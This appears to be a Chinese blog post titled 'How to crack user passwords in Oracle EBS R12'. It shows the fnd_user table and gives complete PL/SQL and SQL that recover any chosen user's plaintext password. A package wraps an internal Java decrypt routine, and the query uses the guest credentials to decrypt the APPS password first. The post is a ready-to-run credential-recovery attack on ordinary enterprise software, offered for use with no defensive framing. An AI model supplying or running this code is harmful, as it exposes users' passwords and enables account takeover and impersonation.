Oracle EBS R12下如何破解用户密码

前提：你有apps的数据库账户，想知道某个用户的密码，因为fnd_user中的密码为加密的，所以无法看懂，你可以尝试用下边的方式来查看用户密码。

SQL> desc fnd_user;
   Name                                      Null?    Type
   ----------------------------------------- -------- ----------------

   USER_ID                                   NOT NULL NUMBER(15)
   USER_NAME                                 NOT NULL VARCHAR2(100)
   LAST_UPDATE_DATE                          NOT NULL DATE
   LAST_UPDATED_BY                           NOT NULL NUMBER(15)
   CREATION_DATE                             NOT NULL DATE
   CREATED_BY                                NOT NULL NUMBER(15)
   LAST_UPDATE_LOGIN                                  NUMBER(15)
   ENCRYPTED_FOUNDATION_PASSWORD             NOT NULL VARCHAR2(100)
   ENCRYPTED_USER_PASSWORD                   NOT NULL VARCHAR2(100)
  ...

1.创建Package，这个package会调用内部的解码类

--创建Package声明
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/

--创建Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/

2.查询用户

--Query to execute
SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM apps.fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM apps.fnd_user usr
 WHERE usr.user_name = '&USER_NAME';

转载请注明出处：http://blog.csdn.net/pan_tian/article/details/7692244

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